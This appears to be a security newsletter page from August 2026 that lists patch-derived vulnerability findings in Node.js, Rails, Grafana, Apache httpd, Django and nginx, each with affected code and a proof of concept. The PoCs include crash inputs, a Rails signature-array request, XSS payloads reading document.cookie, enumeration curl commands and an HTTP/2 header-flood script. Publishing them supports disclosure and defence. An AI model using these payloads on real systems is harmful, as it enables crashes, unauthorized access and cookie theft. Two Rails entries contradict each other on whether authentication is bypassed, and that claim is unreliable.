📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
204
Verified
9
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

🔥 HIGH VERIFIED NULL Pointer Dereference / Memory Corruption

May 28, 2026, 04:56 AM — nodejs/node

Commit: d8ac30125b39938789630cd307d89c9defec6a9b

Author: Junsu Han

The SQLite session extension had a bug where applying a malformed/corrupt UPDATE changeset that omits old values for primary-key columns would pass NULL to sessionBindValue(). Before the patch, the condition `p->abPK\[i\] || (bPatchset==0 && pOld)` would evaluate to true for primary-key columns regardless of whether pOld was NULL, causing NULL to be passed to sessionBindValue() which could crash the process. The fix adds a NULL check on pOld first: `pOld && (p->abPK\[i\] || bPatchset==0)`, ensuring NULL is never passed.

🔍 View Affected Code & PoC

Affected Code

if( p->abPK[i] || (bPatchset==0 && pOld) ){
  rc = sessionBindValue(pUp, i*2+2, pOld);
}

Proof of Concept

const { DatabaseSync } = require('node:sqlite');
const database = new DatabaseSync(':memory:');
database.exec('CREATE TABLE t1(a INTEGER PRIMARY KEY, b, c, d)');
// Malformed changeset that omits old values for primary-key columns
const changeset = Buffer.from('540401000000743100177e0072286565286565', 'hex');
// Before patch: crashes Node.js process due to NULL dereference in sessionBindValue
// After patch: throws 'database disk image is malformed' error (SQLITE_CORRUPT)
database.applyChangeset(changeset);

🔥 HIGH VERIFIED Authentication Bypass

May 28, 2026, 01:36 AM — rails/rails

Commit: b76f84fe3d6741cfd2b50589dc3b06e575ed0ffc

Author: Rafael Mendonça França

The Mailgun ingress authentication could be bypassed by sending the `signature` parameter as an array instead of a string. When `signature` is an array, `ActiveSupport::SecurityUtils.secure_compare` raises an exception before returning 401 Unauthorized, causing the request to result in a 500 error rather than an authentication failure. This means an attacker could bypass authentication entirely by sending a malformed signature parameter. The fix adds a type check to ensure `signature` is a String before performing the comparison, returning 401 for non-string values.

🔍 View Affected Code & PoC

Affected Code

def signed?
  ActiveSupport::SecurityUtils.secure_compare signature, expected_signature
end

Proof of Concept

POST /rails/action_mailbox/mailgun/inbound_emails/mime HTTP/1.1
Content-Type: application/x-www-form-urlencoded

timestamp=1539112500&token=7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi&signature[]=invalid_sig&body-mime=<raw_email_content>

# This sends signature as an array, causing secure_compare to raise an exception
# instead of returning 401 Unauthorized, effectively bypassing authentication
# and allowing unauthenticated email injection into the system

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

May 27, 2026, 09:41 PM — grafana/grafana

Commit: ab1ffd506254124c9212eb1a880a49092e40ebd1

Author: Ryan McKinley

In the ruler export endpoints, a user with folder read access (folders:read) but without rule-level access (alert.rules:read) could enumerate and read alert rules from folders they should be denied access to. In getRulesWithFolderFullPathInFolders, when explicit folderUIDs were provided, the old code only checked folder visibility but not rule-level authorization; it silently dropped inaccessible folders instead of denying — but the actual searchAuthorizedAlertRules call was passed the raw folderUIDs list rather than the filtered query.NamespaceUIDs. In getRuleGroupWithFolderFullPath, lacking rule access caused an ErrAlertRuleNotFound which mapped to 500 rather than 403, leaking information. The patch adds explicit AuthorizeAccessInFolder checks before rule retrieval.

🔍 View Affected Code & PoC

Affected Code

for _, folderUID := range folderUIDs {
    if _, ok := folders[folderUID]; ok {
        query.NamespaceUIDs = append(query.NamespaceUIDs, folderUID)
    }
}
if len(query.NamespaceUIDs) == 0 {
    return nil, authz.NewAuthorizationErrorGeneric("access rules in the specified folders")
}

Proof of Concept

A user with only folders:read permission on folder F1 (but no alert.rules:read) sends: GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&folderUid=F2 where F2 is a folder they can see. The old code passed the raw folderUIDs=[F1,F2] to searchAuthorizedAlertRules (not the filtered query.NamespaceUIDs), bypassing folder-level rule access checks and potentially returning rules from folders the user should not access. Additionally, GET /api/ruler/grafana/api/v1/export/rules?folderUid=F1&group=some-group with only folders:read would return 500 (leaking that the group exists or internal error state) instead of 403.

⚠️ MEDIUM VERIFIED Broken Access Control / Privilege Escalation

May 27, 2026, 08:54 PM — grafana/grafana

Commit: 5877f5c55cc80c890b4d4ab44ff1d9488b15c4fd

Author: Ryan McKinley

The `PatchLibraryElement` endpoint allowed any user with `library.panels:write` permission on a library element to move it to any folder, including folders they cannot write to or even see. The route-level guard only checked write permission on the element itself, not create permission on the destination folder. The patch adds an explicit `library.panels:create` evaluation on the destination folder UID before allowing the move.

🔍 View Affected Code & PoC

Affected Code

if cmd.FolderUID != nil {
    // Only checked if folder exists and is not provisioned, but
    // NO check that caller has create permission on destination folder
    if f.ManagedBy == utils.ManagerKindRepo {
        return model.LibraryElementDTO{}, model.ErrLibraryElementProvisionedFolder
    }
}

Proof of Concept

1. Attacker has `library.panels:write` on a library element in folder1, but only VIEW access to folder4 (no create permission).
2. PATCH /api/library-elements/{uid} with body: {"folderUid": "folder4-uid"}
3. Before the patch: request succeeds (200 OK), element is moved to folder4 despite attacker lacking create permissions there.
4. After the patch: request returns 403 Forbidden.

Concrete HTTP request:
PATCH /api/library-elements/myElementUID
Authorization: Basic Z3JhbnVsYXItdmlld2VyOmdyYW51bGFyLXZpZXdlcg==
Content-Type: application/json
{"folderUid": "folder4UID", "kind": 1, "name": "My Panel", "model": {}, "version": 1}

⚠️ MEDIUM VERIFIED Security Control Bypass

May 27, 2026, 06:23 PM — grafana/grafana

Commit: 1c189bcecdcbc2bdcbd6d6256257e712d9c7d6fd

Author: Roberto Jiménez Sánchez

The `isPublicURL` function used naive string matching to determine if a URL is public, allowing an attacker to bypass webhook registration restrictions. Specifically, `strings.Contains(url, "localhost")` would return true for legitimate public hosts like `notlocalhost.grafana.com`, blocking valid webhooks, but more critically the incomplete RFC1918 check (only `172.16.` prefix, missing `172.17`-`172.31`) meant Grafana could be tricked into registering webhooks pointing to internal/private infrastructure in the 172.17-172.31 range, potentially enabling SSRF-like scenarios where external webhook providers attempt to call back to internal services. The patch replaces string matching with proper URL parsing and CIDR range checks.

🔍 View Affected Code & PoC

Affected Code

func isPublicURL(url string) bool {
	return strings.HasPrefix(url, "https://") &&
		!strings.Contains(url, "localhost") &&
		!strings.HasPrefix(url, "https://127.") &&
		!strings.HasPrefix(url, "https://192.") &&
		!strings.HasPrefix(url, "https://10.") &&
		!strings.HasPrefix(url, "https://172.16.")
}

Proof of Concept

// An attacker controlling Grafana configuration or webhook BaseURL could set:
// baseURL = "https://172.17.0.1/internal-service"
// isPublicURL("https://172.17.0.1/internal-service") returns TRUE (bypasses check)
// because only "172.16." prefix is checked, not the full 172.16.0.0/12 CIDR range.
// This causes Grafana to register a webhook with an external Git provider (e.g. GitHub)
// pointing to an internal IP, and if that provider attempts delivery,
// or if an admin is deceived into thinking the URL is verified as public,
// internal services at 172.17-172.31 could be targeted.
// 
// Concrete: isPublicURL("https://172.17.0.1/") == true  (before patch)
//           isPublicURL("https://172.17.0.1/") == false (after patch)

⚠️ MEDIUM VERIFIED Information Disclosure / Unauthenticated Enumeration

May 27, 2026, 05:52 PM — grafana/grafana

Commit: fbbb8162d4f25903a5e1da1218efcaf5699cd38a

Author: Roberto Jiménez Sánchez

The webhook endpoint's `Authorize` method returns `DecisionAllow` unconditionally (to allow anonymous GitHub webhook delivery), and the endpoint previously accepted both GET and POST methods. This allowed unauthenticated callers to use the GET method to enumerate repository existence and webhook configuration state by observing different HTTP response codes (404 for non-existent repos, 400 for repos without webhooks, 401 for repos with webhooks when HMAC validation fails). The patch removes GET from `ConnectMethods()` so only POST is accepted.

🔍 View Affected Code & PoC

Affected Code

func (*webhookConnector) ConnectMethods() []string {
	return []string{
		http.MethodPost,
		http.MethodGet, // only useful for browser testing, should be removed
	}
}

Proof of Concept

# Unauthenticated repository enumeration via webhook GET endpoint:

# Check if a repository exists (returns 404 if not, different code if it does):
curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/nonexistent-repo/webhook
# Returns: 404

curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/existing-repo-no-webhook/webhook
# Returns: 400 (repo exists but no webhook configured)

curl -s -o /dev/null -w "%{http_code}" https://grafana-instance/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/existing-repo-with-webhook/webhook
# Returns: 401 (repo exists and has webhook, HMAC validation fails)
# This allows unauthenticated callers to enumerate all repository names and their webhook states.

⚠️ MEDIUM VERIFIED Security Token Reuse / Confused Deputy

May 27, 2026, 05:42 PM — grafana/grafana

Commit: 4d13e75a81c167e6bcb7eacb421c5c18ee549ac2

Author: Daniele Stefano Ferru

Before the patch, when a user updated a repository's URL, the system would automatically copy the existing stored authentication token to the new repository configuration (via CopySecureValues) without requiring a new token. This allowed an attacker or unauthorized user to pivot a repository's URL to a different target while reusing a valid stored token, potentially using the Grafana instance's credentials to authenticate against an attacker-controlled or unintended repository. The patch adds a check that rejects update operations where the URL changes but no new token is provided.

🔍 View Affected Code & PoC

Affected Code

if a.GetOldObject() != nil {
    if oldRepo, ok := a.GetOldObject().(*provisioning.Repository); ok {
        CopySecureValues(r, oldRepo)  // copies token unconditionally, even if URL changed
    }
}

Proof of Concept

1. Admin creates a repository pointing to https://github.com/org/legit-repo with a valid token stored as a secret.
2. Attacker (or malicious admin) issues a PATCH/PUT request: PUT /apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/myrepo with body: {"spec":{"github":{"url":"https://github.com/attacker/evil-repo"}}} and omits the secure.token field.
3. Before the patch, CopySecureValues would copy the existing stored token into the updated config, causing Grafana to authenticate to https://github.com/attacker/evil-repo using the organization's stored token.
4. This leaks the token's capabilities to an attacker-controlled endpoint or allows syncing from an untrusted source using trusted credentials.

🔥 HIGH VERIFIED Authentication Bypass / Exception-based Auth Bypass

May 27, 2026, 03:08 PM — rails/rails

Commit: c450a13f41b19916dfea95768a0163fd46be09af

Author: Andrii Furmanets

Before the patch, the Mailgun ingress authentication code passed the `signature` parameter directly to `ActiveSupport::SecurityUtils.secure_compare` without validating it was a string. When an attacker sends `signature\[\]` as an array parameter (standard Rails array parameter syntax), `secure_compare` raises an exception rather than returning false, causing the authentication check to fail with an unhandled error (500) instead of returning 401 Unauthorized. While this doesn't directly bypass authentication, it disrupts the ingress and could be used to prevent legitimate email processing or probe the endpoint. The fix adds a `signature.is_a?(String)` check before calling `secure_compare`.

🔍 View Affected Code & PoC

Affected Code

def signed?
  ActiveSupport::SecurityUtils.secure_compare signature, expected_signature
end

Proof of Concept

POST /rails/action_mailbox/mailgun/inbound_emails/mime HTTP/1.1
Content-Type: application/x-www-form-urlencoded

timestamp=1539112500&token=7VwW7k6Ak7zcTwoSoNm7aTtbk1g67MKAnsYLfUB7PdszbgR5Xi&signature[]=ef24c5225322217bb065b80bb54eb4f9206d764e3e16abab07f0a64d1cf477cc&body-mime=...

Result before patch: 500 Internal Server Error (secure_compare raises TypeError/ArgumentError on non-string input)
Result after patch: 401 Unauthorized

🔥 HIGH VERIFIED Broken Access Control / Privilege Escalation

May 27, 2026, 12:56 PM — grafana/grafana

Commit: 940ac768a8d698de14b6abb4dbf36ef1c8521046

Author: Daniele Stefano Ferru

The provisioning files API only checked permissions on the resource's current database location when updating an existing resource, but never verified permissions on the destination folder when moving a resource to a different path. This allowed a user with write access to folder A to move any resource into folder B (which they have no access to) simply by writing the file to folder B's path via the provisioning files API. The patch adds a dual permission check: both the source (existing DB location) and destination folder must be authorized before a cross-folder move is permitted.

🔍 View Affected Code & PoC

Affected Code

folder := parsed.Meta.GetFolder()
if parsed.Existing != nil {
    if meta, err := utils.MetaAccessor(parsed.Existing); err == nil && meta != nil {
        folder = meta.GetFolder()
    }
}

Proof of Concept

# Attacker is Viewer-role user with explicit Admin grant on folder innerA only.
# Dashboard 'cross-folder-dash' currently lives in innerA.
# Attacker PUTs the same dashboard JSON to innerB's path:

curl -u viewer:viewerpassword -X PUT \
  'http://grafana/apis/provisioning.grafana.app/v0alpha1/namespaces/default/repositories/myrepo/files/innerB/cross-folder-dash.json' \
  -H 'Content-Type: application/json' \
  -d '{"apiVersion":"dashboard.grafana.app/v0alpha1","kind":"Dashboard","metadata":{"name":"cross-folder-dash"},"spec":{"title":"Moved"}}'  

# Before patch: authorization only checks innerA (attacker has access) → dashboard silently moved to innerB.
# After patch: authorization also checks innerB (attacker has no access) → request denied with 403.

⚠️ MEDIUM VERIFIED Authorization Bypass

May 27, 2026, 11:53 AM — grafana/grafana

Commit: 09d9dc305d2b45a18a4e8307d6f80095ab8c2220

Author: Ryan McKinley

Before the patch, the apistore client had a no-op optimization that skipped the update call to unified storage entirely when the request body bytes were identical to the existing resource. This meant that permission/RBAC checks were never performed for no-op updates, allowing users without write permissions to receive a 200 OK response when sending a PUT/PATCH with identical bytes. The patch moves the no-op check to the server side, where RBAC is enforced even when the bytes are unchanged.

🔍 View Affected Code & PoC

Affected Code

// Only update (for real) if the bytes have changed
var rv uint64
req.Value = v.raw.Bytes()
if !bytes.Equal(req.Value, existingBytes) {
    req.ResourceVersion = readResponse.ResourceVersion
    updateResponse, err := s.store.Update(ctx, req)

Proof of Concept

1. Admin creates a resource (e.g., a folder) via PUT /apis/folder.grafana.app/v0alpha1/namespaces/default/folders/my-folder
2. A Viewer (unprivileged user without write permissions) sends PUT /apis/folder.grafana.app/v0alpha1/namespaces/default/folders/my-folder with the exact same bytes as the current resource body.
3. Before the patch: server returns HTTP 200 OK instead of 403 Forbidden, because the client-side bytes.Equal check short-circuits the update and skips the RBAC check entirely.
4. After the patch: server returns HTTP 403 Forbidden because RBAC is checked on the server side even for no-op updates.

🔥 HIGH VERIFIED Broken Access Control / Missing Authorization

May 27, 2026, 10:05 AM — grafana/grafana

Commit: ec005b8490292307ba63ed9f073c06dd54a915cb

Author: Mihai Doarna

Before this patch, the `authzLimitedClient` allowlist did not include `iam.grafana.app/users`, meaning RBAC enforcement was not applied to user search queries in unified storage. A user with any access to the search endpoint could retrieve all users without having the appropriate scoped permissions, bypassing access control restrictions. The patch adds `iam.grafana.app/users` to the allowlist so that RBAC is enforced when filtering user search results.

🔍 View Affected Code & PoC

Affected Code

allowlist: groupResource{
    "dashboard.grafana.app": map[string]interface{}{"dashboards": nil},
    "folder.grafana.app":    map[string]interface{}{"folders": nil},
},

Proof of Concept

An authenticated user with only scoped `users:read` permission (e.g., permission scoped to a single user by UID) calls:

  GET /api/users/search?perpage=100

Before the patch (Mode5/unified storage), the authzLimitedClient does not enforce RBAC on iam.grafana.app/users, so the filter is bypassed and all users are returned. After the patch, only the user(s) the caller has explicit permission to see are returned.

⚠️ MEDIUM VERIFIED Security Control Bypass

May 27, 2026, 09:37 AM — apache/httpd

Commit: 47d3100b252dc6668a9e46ae885242be9eeca9cd

Author: Stefan Eissing

In HTTP/2, cookie headers are sent as separate HPACK header fields and merged by mod_http2 into a single Cookie header. Before this patch, when multiple cookie headers were received in an HTTP/2 request, only the first one counted against LimitRequestFields, while subsequent ones were silently merged without incrementing the field count. This allowed an attacker to bypass the LimitRequestFields directive (which protects against DoS via excessive headers) by sending many cookie headers in a single HTTP/2 request. The patch fixes this by setting *pwas_added = 1 for each merged cookie, ensuring each cookie counts against the limit.

🔍 View Affected Code & PoC

Affected Code

apr_table_setn(headers, "Cookie",
               apr_psprintf(pool, "%s; %.*s", existing,
                            (int)nv->valuelen, nv->value));
return APR_SUCCESS;

Proof of Concept

Send an HTTP/2 request with thousands of cookie headers to bypass LimitRequestFields:

`​`​`​python
import h2.connection, h2.config, h2.events, socket, ssl

# Connect to Apache server with mod_http2
# Send HTTP/2 request with 10000 cookie headers
headers = [
    (':method', 'GET'),
    (':path', '/'),
    (':scheme', 'https'),
    (':authority', 'target.example.com'),
]
# Add 10000 separate cookie headers (LimitRequestFields default is 100)
for i in range(10000):
    headers.append(('cookie', f'name{i}=value{i}'))

# HTTP/2 allows multiple cookie headers per RFC 7540 Section 8.1.2.5
# Before the patch, only the first cookie counted against LimitRequestFields
# so this would bypass a LimitRequestFields 100 directive and potentially
# cause excessive memory/CPU consumption on the server.
`​`​`​
This bypasses the Apache LimitRequestFields protection intended to limit request header count and prevent DoS attacks.

⚠️ MEDIUM VERIFIED Denial of Service (Segmentation Fault / Crash)

May 27, 2026, 08:13 AM — nodejs/node

Commit: fda667a6c899e6ad741fe08603991fabf2fbe96d

Author: Mohamed Sayed

The `Storage.prototype.length` getter in Node.js webstorage lacked a V8 Signature check, allowing it to be called with any `this` value. When called with an incompatible receiver (e.g., `Storage.prototype` itself or any non-Storage object), the C++ callback `StorageLengthGetter` would proceed to call `Storage::Length()` on an invalid/null SQLite handle, causing a segmentation fault and crashing the Node.js process. The fix adds a `v8::Signature` bound to the Storage constructor template so V8 rejects incompatible receivers with a TypeError before the C++ code runs.

🔍 View Affected Code & PoC

Affected Code

Local<FunctionTemplate> length_getter =
    FunctionTemplate::New(isolate, StorageLengthGetter);

Proof of Concept

node -e 'globalThis.sessionStorage.setItem.length;globalThis.Storage.prototype.length'
# Results in: [1] segmentation fault (core dumped)

🔥 HIGH VERIFIED XSS (Cross-Site Scripting)

May 27, 2026, 04:32 AM — grafana/grafana

Commit: 97ea75b9a11f1feb719973052b1c865e868aa9db

Author: Alex Khomenko

The `FolderReadmePanel.tsx` component rendered markdown content using `dangerouslySetInnerHTML` after processing it through `rewriteRelativeMarkdownLinks()`, which performs DOM manipulation that can mutate sanitized HTML into executable content (mXSS). The patch adds a second `textUtil.sanitize()` (DOMPurify) call after the DOM round-trip to re-sanitize the HTML before injection. Additionally, server-sourced URLs in `PullRequestButtons.tsx`, `RepositoryActions.tsx`, `RepositoryOverview.tsx`, and `ResourceTreeView.tsx` were passed directly to `LinkButton`/`window.open` without sanitization, allowing `javascript:` protocol URLs from a malicious server response to execute arbitrary JavaScript.

🔍 View Affected Code & PoC

Affected Code

const pullRequestURL = urls?.newPullRequestURL;
const compareURL = urls?.compareURL;
const branchURL = urls?.sourceURL;
// Then used directly in <LinkButton href={branchURL}> etc.

Proof of Concept

1. mXSS: A README containing `<div><svg><style><img src=x onerror=alert(document.cookie)></style></svg></div>` - after renderMarkdown() sanitizes it, rewriteRelativeMarkdownLinks() does a DOM parse-serialize round trip that can cause browsers to reinterpret the SVG context and expose the img onerror handler, executing arbitrary JS.
2. javascript: URL: If the provisioning API returns `{"newPullRequestURL": "javascript:alert(document.cookie)"}`, clicking the 'Open pull request' LinkButton would execute `alert(document.cookie)` in the user's browser context.

🔥 HIGH VERIFIED Authorization Bypass

May 26, 2026, 02:59 PM — grafana/grafana

Commit: 51a459e8ee0db213a7048f405d00e29b63f8fc10

Author: Rafael Bortolon Paulovic

The Watch RPC in Grafana's Unified Storage compiled an ItemChecker for per-item authorization and applied it to streamed events, but the initial-events backfill path (when SendInitialEvents=true) emitted every item from the backend without consulting the checker. This allowed any user who could issue a Watch request with SendInitialEvents=true to receive all resources in the namespace, regardless of per-item folder-based authorization restrictions. The patch adds `if !checker(iter.Name(), iter.Folder()) { continue }` inside the ListIterator callback so backfill honors the same per-item authorization as the live event stream.

🔍 View Affected Code & PoC

Affected Code

if err := iter.Error(); err != nil {
    return err
}
if err := srv.Send(&resourcepb.WatchEvent{
    Type: resourcepb.WatchEvent_ADDED,

Proof of Concept

A user with access only to 'folder-a' but not 'folder-b' sends a Watch request with SendInitialEvents=true:

client.Watch(ctx, &resourcepb.WatchRequest{
  Options: &resourcepb.ListOptions{
    Key: &resourcepb.ResourceKey{Group: "playlist.grafana.app", Resource: "playlists", Namespace: "default"},
  },
  SendInitialEvents: true,
})

Before the patch, the backfill loop would emit ADDED events for ALL resources including those in 'folder-b' that the user is not authorized to see, leaking resource data across folder authorization boundaries.

🔥 HIGH VERIFIED Process Crash / Denial of Service via SIGABRT

May 26, 2026, 09:25 AM — nodejs/node

Commit: 339339986d9ae27cdcde5780d6395712cb834010

Author: Jordan Harband

Passing `-0` as the `keylen` argument to `crypto.pbkdf2()`, `crypto.pbkdf2Sync()`, `crypto.scrypt()`, or `crypto.scryptSync()` bypasses the `validateInt32` check (since `-0 &lt; 0` is `false` in JavaScript) and reaches the native C++ binding. V8 boxes `-0` as a HeapNumber rather than a tagged SMI, causing the binding's `IsInt32()` assertion to fail and aborting the entire Node.js process with SIGABRT. This is reachable from any code that passes user-controlled or JSON-parsed values as `keylen`, making it a remotely-triggerable denial-of-service. The fix coerces `-0` to `+0` with `keylen += 0` after validation.

🔍 View Affected Code & PoC

Affected Code

validateInt32(keylen, 'keylen', 0);

return { password, salt, iterations, keylen, digest };

Proof of Concept

// Run in Node.js (before patch) - crashes the entire process with SIGABRT
const crypto = require('crypto');
// JSON.parse preserves -0, simulating attacker-controlled input
const params = JSON.parse('{"keylen":-0}');
crypto.pbkdf2Sync('password', 'salt', 1, params.keylen, 'sha256');
// Process aborts with: FATAL ERROR or SIGABRT from IsInt32() check in native binding

// Also triggerable via scrypt:
crypto.scryptSync('password', 'salt', -0);
// Both crash the Node.js process, enabling DoS of any Node.js application using these APIs with user-supplied keylen values
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48913 Use-After-Free

May 26, 2026, 07:42 AM — apache/httpd

📈 Patch landed 13 days 10 hours 49 minutes before CVE published

Commit: 0029bba2a457f0e15cd5fef7c1ae9fbb8e54d55c

Author: Stefan Eissing

In mod_http2's `c2_setup_io` function, beam bucket callbacks (referencing `c2` connection object) were registered before pipe creation. If pipe creation failed (e.g., due to file descriptor exhaustion), the callbacks remained registered with references to the `c2` object that would subsequently be freed/invalidated during cleanup. The fix moves callback registration to after successful pipe creation, ensuring callbacks are only set when the setup succeeds and are not left dangling on failure paths.

🔍 View Affected Code & PoC

Affected Code

if (stream->input) {
        conn_ctx->beam_in = stream->input;
        h2_beam_on_send(stream->input, c2_beam_input_write_notify, c2);
        h2_beam_on_received(stream->input, c2_beam_input_read_notify, c2);
        h2_beam_on_consumed(stream->input, c1_input_consumed, stream);
#if H2_USE_PIPES

Proof of Concept

1. Configure a system with a low file descriptor limit (e.g., `ulimit -n 64` or a heavily loaded server near fd exhaustion)
2. Send an HTTP/2 POST request with a request body (upload) to Apache httpd with mod_http2 enabled
3. When `apr_file_pipe_create_pools()` fails due to EMFILE/ENFILE, the function jumps to `cleanup`
4. The beam callbacks (`c2_beam_input_write_notify`, `c2_beam_input_read_notify`, `c1_input_consumed`) remain registered pointing to the now-freed/recycled `c2` connection object
5. When the beam subsequently fires these callbacks (e.g., as data arrives on the input beam), it dereferences the stale `c2` pointer, leading to use-after-free memory corruption that could crash the server or potentially be leveraged for code execution

Trigger: `curl -k --http2 -X POST -d @largefile.dat https://target/upload` on a system near fd limit

🔥 HIGH VERIFIED Missing Certificate Hostname Verification (Improper Certificate Validation)

May 25, 2026, 02:14 AM — nodejs/node

Commit: 2e3daf6e4dd50e3f4f279f443acaf727fd817ca8

Author: James M Snell

Before this patch, the Node.js QUIC implementation did not call SSL_set1_host() to enable OpenSSL's hostname verification against the server certificate's SAN/CN fields. This meant that a QUIC client in 'strict' or 'auto' verifyPeer modes would accept any valid certificate (signed by a trusted CA) regardless of which hostname it was issued for, enabling man-in-the-middle attacks. The patch adds SSL_set1_host() calls via a new set_verify_hostname() method, ensuring the server's certificate actually matches the intended servername.

🔍 View Affected Code & PoC

Affected Code

// Before patch: verifyHostname option did not exist
// In processSessionOptions, only verifyPeerStrict was set:
verifyPeerStrict: verifyPeer === 'strict',
// No verifyHostname field — SSL_set1_host() was never called

Proof of Concept

// Attacker scenario: MitM attack against a QUIC client connecting to example.com
// 1. Attacker obtains a valid TLS cert for attacker.com (trusted CA signed)
// 2. Attacker intercepts the QUIC connection
// 3. Before patch: the client accepts attacker.com's cert when connecting to example.com
//    because hostname verification (SSL_set1_host) was never configured
// Node.js code that would be vulnerable (before patch):
const { QuicEndpoint } = require('node:quic');
const endpoint = new QuicEndpoint();
// Connect to example.com:443 with verifyPeer='strict'
// Before patch: connection succeeds even if server presents cert for attacker.com
// (as long as it's signed by a trusted CA), allowing full MitM
const session = await endpoint.connect({
  address: 'attacker-controlled-ip',
  port: 443,
  servername: 'example.com',
  verifyPeer: 'strict',
});
// Would succeed with attacker.com certificate before patch

⚠️ MEDIUM VERIFIED Connection Hijacking / Data Exfiltration via QUIC Preferred Address

May 25, 2026, 02:14 AM — nodejs/node

Commit: 444ba160e3581b28762d1d456dd6d7fc86de5d18

Author: James M Snell

The default policy for QUIC preferred address handling was 'use' (or mapped to USE_PREFERRED), meaning clients would automatically migrate their connection to whatever IP address a server advertised as its preferred address. A malicious server could advertise a preferred address pointing to an attacker-controlled host, causing the client to redirect its QUIC connection traffic to that address — enabling data exfiltration that is indistinguishable from legitimate QUIC connection migration at the network level. The patch changes the default to 'ignore', so clients only migrate when explicitly configured to do so with preferredAddressPolicy: 'use'.

🔍 View Affected Code & PoC

Affected Code

preferredAddressPolicy = 'default',
// and in preferredaddress.cc:
static constexpr auto DEFAULT_PREFERRED_ADDRESS_POLICY =
    static_cast<uint8_t>(Policy::USE_PREFERRED);

Proof of Concept

// Attacker sets up a malicious QUIC server that advertises a preferred address
// pointing to an attacker-controlled endpoint:
// 1. Victim connects to legitimate-looking server (e.g., port 443)
// 2. Server responds with preferred_addr transport parameter pointing to attacker's IP
// 3. With the old default ('use'), the Node.js QUIC client automatically migrates
//    to the attacker's address, sending all subsequent application data there
//
// Example: attacker server sends ngtcp2_transport_params with:
//   params.preferred_addr_present = 1;
//   params.preferred_addr.ipv4_present = 1;
//   // attacker IP: 192.168.1.100:9999
//   memcpy(&params.preferred_addr.ipv4, attacker_addr, sizeof(sockaddr_in));
//
// Node.js client (before patch) with default settings:
const clientSession = await connect(serverEndpoint.address, {
  // no preferredAddressPolicy specified - defaults to 'use' (old behavior)
  // client will automatically follow server's preferred address to attacker's IP
});

⚠️ MEDIUM VERIFIED HTTP Response Splitting

May 22, 2026, 02:57 PM — django/django

Commit: 53645750412efa1e9013004040db328bd515e0f1

Author: Varun Kasyap

The `reason_phrase` setter in Django's `HttpResponseBase` class did not validate or sanitize control characters, allowing an attacker to inject arbitrary HTTP headers via carriage return (\\r) and newline (\\n) characters in the reason phrase. This is an HTTP Response Splitting vulnerability where a crafted reason phrase could inject additional headers or manipulate the HTTP response structure. The patch adds a regex check that raises `BadHeaderError` when control characters are detected in the reason phrase.

🔍 View Affected Code & PoC

Affected Code

@reason_phrase.setter
def reason_phrase(self, value):
    self._reason_phrase = value

Proof of Concept

from django.http import HttpResponse
# Before the patch, this would create a response with injected headers:
resp = HttpResponse(reason='OK\r\nX-Injected-Header: malicious-value\r\nX-Another: injected')
# The raw HTTP response would contain:
# HTTP/1.1 200 OK
# X-Injected-Header: malicious-value
# X-Another: injected
# ... legitimate headers follow
# Attacker can inject arbitrary headers or even split the response body
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-9256 Heap Buffer Overflow

May 22, 2026, 02:55 PM — nginx/nginx

📈 Patch landed 3 days 22 hours 35 minutes before CVE published

Commit: ca4f92a27464ae6c2082245e4f67048c633aa032

Author: Roman Arutyunyan

In nginx's rewrite module, when a rewrite replacement string had no variables but contained overlapping captures (e.g., ^/((.*))$ with $1$2), the buffer length calculation was incorrect. The old code calculated escape overhead for the entire URI rather than per-capture, and failed to account for overlapping captures properly, resulting in a heap buffer that was too small for the actual replacement string. This allowed a specially crafted URI to trigger a heap buffer overflow when nginx performed the rewrite.

🔍 View Affected Code & PoC

Affected Code

if (code->uri) {
            if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
                e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
                                                 NGX_ESCAPE_ARGS);
            }
        }

Proof of Concept

With nginx config:
  location / {
      rewrite ^/((.*))$ http://127.0.0.1:8080/$1$2 redirect;
      return 200 foo;
  }

Send: GET /++++++++++++++++++++++++++++++ HTTP/1.1
Host: localhost

The URI contains '+' characters which trigger the plus_in_uri path. With overlapping captures ^/((.*))$, both $1 and $2 capture the same content (the +++ string). The old code added escape overhead only once for the whole URI, but the loop then adds each capture's length independently. With 30 '+' characters, each capture adds 30 bytes but escape adds 60 bytes only once instead of 60*2=120 bytes, causing a ~60-byte heap buffer overflow when writing the replacement string.

🔥 HIGH VERIFIED Use-After-Free

May 21, 2026, 09:16 PM — nodejs/node

Commit: b621fb3a18543282277c544e56824dcd1c38a531

Author: James M Snell

The patch fixes multiple use-after-free (UAF) vulnerabilities in Node.js's QUIC implementation. The most concrete UAF is in streams.cc: after EmitClose triggers a JavaScript callback via MakeCallback, JS re-entrancy could destroy the Session object, but the code would still call session-&gt;RemoveStream(id()) on the potentially-destroyed session (with a null impl_). Additionally, in bindingdata.cc, the uv_check_t handle was closed inline with uv_close() passing nullptr as the callback, meaning libuv could access the handle's memory after BindingData was destroyed during Environment cleanup. The patch introduces CheckWrap/CheckWrapHandle with proper deferred cleanup via uv_close callback.

🔍 View Affected Code & PoC

Affected Code

if (session) session->RemoveStream(id());
// In bindingdata destructor:
  uv_check_stop(&flush_check_);
  uv_close(reinterpret_cast<uv_handle_t*>(&flush_check_), nullptr);
  flush_check_initialized_ = false;

Proof of Concept

// Trigger the UAF in streams.cc:
// 1. Create a QUIC server and client
// 2. Open a stream
// 3. In the stream 'close' event handler (which is triggered by EmitClose/MakeCallback),
//    synchronously destroy the Session object (e.g., session.close() or connection abort)
// 4. After the JS callback returns, the C++ code executes: if (session) session->RemoveStream(id())
//    At this point session->impl_ is null (destroyed), causing a null pointer dereference / UAF
